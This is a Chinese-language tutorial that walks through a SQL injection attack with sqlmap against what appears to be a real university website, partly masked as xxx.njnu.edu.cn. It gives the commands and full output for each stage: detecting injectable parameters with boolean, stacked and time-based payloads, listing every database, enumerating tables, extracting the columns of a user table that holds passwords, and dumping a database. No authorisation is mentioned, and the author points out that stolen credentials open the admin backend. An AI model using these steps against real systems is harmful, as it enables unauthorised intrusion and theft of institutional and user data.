实战SQL注入

SQL注入是啥就不解释了。下面演示一个SQL注入的例子

SQL注入点可以自己尝试或用SQL注入漏洞扫描工具去寻找，这里用大名鼎鼎的sqlmap演示一个现成的案例。

1.漏洞试探

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87

    sqlmap/1.0-dev - automatic SQL injection and database takeover tool
    http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at ::

[::] [INFO] resuming back-end DBMS 'microsoft sql server'
[::] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of  HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=' WAITFOR DELAY '::'--
---
[::] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows  or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server
[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

可以看到这个站点是有SQL注入点的，连系统/应用/sql类型都爆出来了。接下来我们来探索一下这个数据库里有些什么。

2.查看数据库

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 --dbs

    ...
sqlmap identified the following injection points with a total of  HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=' WAITFOR DELAY '::'--
---
[::] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows  or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server
[::] [INFO] fetching database names
[::] [INFO] fetching number of databases
[::] [INFO] resumed:
[::] [INFO] resumed: BZBB_lw
[::] [INFO] resumed: ChualgXinNS
[::] [INFO] resumed: db_dike
[::] [INFO] resumed: db_dndqjzw
[::] [INFO] resumed: db_njsdjw
[::] [INFO] resumed: db_njsfsy
[::] [INFO] resumed: db_nsddlhj
[::] [INFO] resumed: db_nsdhgxn
[::] [INFO] resumed: db_nsdmba
[::] [INFO] resumed: db_nsdMediaC
[::] [INFO] resumed: db_nsdscw
[::] [INFO] resumed: db_nsdsw
[::] [INFO] resumed: db_nsdswyy
[::] [INFO] resumed: db_nsdswzy
[::] [INFO] resumed: db_nyspjc
[::] [INFO] resumed: db_sdjxjy
[::] [INFO] resumed: db_spaqjc
[::] [INFO] resumed: JiaoCai
[::] [INFO] resumed: maste@
[::] [INFO] resumed: MBA
[::] [INFO] resumed: model
[::] [INFO] resumed: msdb
[::] [INFO] resumed: njnulab
[::] [INFO] resumed: njnupj
[::] [INFO] resumed: nju
[::] [INFO] resumed: nju2222
[::] [INFO] resumed: njuold
[::] [INFO] resumed: njupj2012
[::] [INFO] resumed: Northwind
[::] [INFO] resumed: NSD_ApplicationChemical
[::] [INFO] resumed: NSD_Cnooc
[::] [INFO] resumed: NSD_ElectricalEngineering
[::] [INFO] resumed: NSD_ElectronicInformation
[::] [INFO] resumed: NSD_TeacherSkills
[::] [INFO] resumed: NSD_TeachingTeam
[::] [INFO] resumed: nsddky_sy
[::] [INFO] resumed: nsdsfjdzx
[::] [INFO] resumed: nsdsfjdzxnew
[::] [INFO] resumed: nsglxt
[::] [INFO] resumed: NSHuaKe
[::] [INFO] resumed: NSXinLiXue
[::] [INFO] resumed: NY_JG
[::] [INFO] resumed: pubs
[::] [INFO] resumed: ShangXueYuannew
[::] [INFO] resumed: tempdb
[::] [INFO] resumed: zhongxin
[::] [INFO] resumed: zhongxinold
available databases []:
[*] BZBB_lw
[*] ChualgXinNS
[*] db_dike
[*] db_dndqjzw
[*] db_njsdjw
[*] db_njsfsy
[*] db_nsddlhj
[*] db_nsdhgxn
[*] db_nsdmba
[*] db_nsdMediaC
[*] db_nsdscw
[*] db_nsdsw
[*] db_nsdswyy
[*] db_nsdswzy
[*] db_nyspjc
[*] db_sdjxjy
[*] db_spaqjc
[*] JiaoCai
[*] maste@
[*] MBA
[*] model
[*] msdb
[*] njnulab
[*] njnupj
[*] nju
[*] nju2222
[*] njuold
[*] njupj2012
[*] Northwind
[*] NSD_ApplicationChemical
[*] NSD_Cnooc
[*] NSD_ElectricalEngineering
[*] NSD_ElectronicInformation
[*] NSD_TeacherSkills
[*] NSD_TeachingTeam
[*] nsddky_sy
[*] nsdsfjdzx
[*] nsdsfjdzxnew
[*] nsglxt
[*] NSHuaKe
[*] NSXinLiXue
[*] NY_JG
[*] pubs
[*] ShangXueYuannew
[*] tempdb
[*] zhongxin
[*] zhongxinold

[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

3.省略部分日志，可以看到所有的数据库都已经找到了，接下来可以查看具体的表。

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D JiaoCai --tables --threads 5

...

[::] [INFO] resuming back-end DBMS 'microsoft sql server'
[::] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of  HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=' WAITFOR DELAY '::'--
---
[::] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows  or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server
[::] [INFO] fetching tables for database: JiaoCai
[::] [INFO] fetching number of tables for database 'JiaoCai'
[::] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[::] [INFO] retrieved:
[::] [WARNING] reflective value(s) found and filtering out

[::] [INFO] retrieved: dbo.dtproperties
[::] [INFO] retrieved: dbo.sysconstraints
[::] [INFO] retrieved: dbo.syssegments
[::] [INFO] retrieved: dbo.T_BuildYxJc
[::] [INFO] retrieved: dbo.T_BuildZdJc
[::] [INFO] retrieved: dbo.T_CanYu
[::] [INFO] retrieved: dbo.T_EndDate
[::] [INFO] retrieved: dbo.T_G_BuildYxJc
[::] [INFO] retrieved: dbo.T_G_Bu
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
ildZdJc
[::] [INFO] retrieved: dbo.T_G_Ca
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
nYu
[::] [INFO] retrieved: dbo.T_G_EndDate
[::] [INFO] retrieved: dbo.T_G_JiaoCai
[::] [INFO] retrieved: dbo.T_G_News
[::] [INFO] retrieved: dbo.T_G_User
[::] [INFO] retrieved: dbo.T_G_XueYuan
[::] [INFO] retrieved: dbo.T_G_ZhuanYe
[::] [INFO] retrieved: dbo.T_G_ZyToJc
[::] [INFO] retrieved: dbo.T_JiaoCai
[::] [INFO] retrieved: dbo.T_News
[::] [INFO] retrieved: dbo.T_U
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
ser
[::] [INFO] retrieved: dbo.T_XueYuan
[::] [INFO] retrieved: dbo.T_ZhuanYe
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request

[::] [INFO] retrieved: dbo.T_ZyToJc
Database: JiaoCai
[ tables]
+----------------+
| T_BuildYxJc    |
| T_BuildZdJc    |
| T_CanYu        |
| T_EndDate      |
| T_G_BuildYxJc  |
| T_G_BuildZdJc  |
| T_G_CanYu      |
| T_G_EndDate    |
| T_G_JiaoCai    |
| T_G_News       |
| T_G_User       |
| T_G_XueYuan    |
| T_G_ZhuanYe    |
| T_G_ZyToJc     |
| T_JiaoCai      |
| T_News         |
| T_User         |
| T_XueYuan      |
| T_ZhuanYe      |
| T_ZyToJc       |
| dtproperties   |
| sysconstraints |
| syssegments    |
+----------------+

[::] [WARNING] HTTP error codes detected during run:
 (Internal Server Error) -  times
[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

4.找到自己想要的表，如果你找到了存放user和passwd的表，那么你就可以后台登录他们的管理系统了。

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew -T T_User --columns --threads 5

 ...
HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=' AND 8841=8841 AND 'bZbc'='bZbc

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: id='; WAITFOR DELAY '::'--

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: id=' WAITFOR DELAY '::'--
---
[::] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows  or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server
[::] [INFO] fetching columns for table 'T_User' in database 'ShangXueYuannew'
[::] [INFO] retrieved:
[::] [WARNING] reflective value(s) found and filtering out

[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: FileTheme
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: varchar
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: Pwd
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: varchar
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: Role
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: varchar
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: UserFile
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: varchar
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: UserId
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: varcha_ / (%)
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[::] [WARNING] if the problem persists please try to lower the number of used threads (option '--threads')
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[::] [INFO] retrieved: varchar
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: UserName
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: va_cha_ / (%)
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[::] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[::] [INFO] retrieved: varchar
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: UserNo
[::] [INFO] retrieving the length of query output
[::] [INFO] retrieved:
[::] [INFO] retrieved: int
Database: ShangXueYuannew
Table: T_User
[ columns]
+-----------+---------+
| Column    | Type    |
+-----------+---------+
| FileTheme | varchar |
| Pwd       | varchar |
| Role      | varchar |
| UserFile  | varchar |
| UserId    | varchar |
| UserName  | varchar |
| UserNo    | int     |
+-----------+---------+

[::] [WARNING] HTTP error codes detected during run:
 (Internal Server Error) -  times
[::] [INFO] fetched data logged to text files under '/usr/share/sqlmap/output/xxx.njnu.edu.cn'

[*] shutting down at ::

5.甚至你可以把想要的数据库下载下来，在本地慢慢研究

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew --dump --threads 5

时间相当长，完了后就能看到SQL的具体内容了。

Database: ShangXueYuannew
Table: T_Acceptance
[ entries]
+-----+-----+------------+------------+------------+------------+---------------------------+--------+
| aId | aNo | aRar       | aPdf       | aWord      | aFlash     | aTitle                    | aState |
+-----+-----+------------+------------+------------+------------+---------------------------+--------+
| NULL |    | .rar | NULL       | NULL       | NULL       | NULL                      | -   |
|    |   | NULL       | .pdf | .doc | .swf | 江苏省高等学校实验教学示范中心2011年验收申请表 | -   |
|    |   | NULL       | .pdf | .doc | .swf | 江苏省高等学校基础课实验教学示范中心立项申报表   | -   |
|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之一：经济管理教学实验中心整体介绍     | -   |
|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之二：实验室相关政策措施及规章制度     | -   |
|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之三：课程实验教学计划及实验项目      | -   |
|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之四：典型自编课程实验讲义         | -   |
|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之五：典型多媒体课件简介          | -   |
|    |   | NULL       | .pdf | .doc | .swf | 支撑材料之߸ߢ经济ߢ理教学实验中心建设成果     | -   |
| NULL |    | .rar | NULL       | NULL       | NULL       | NULL                      | -   |
+-----+-----+------------+------------+------------+------------+---------------------------+--------+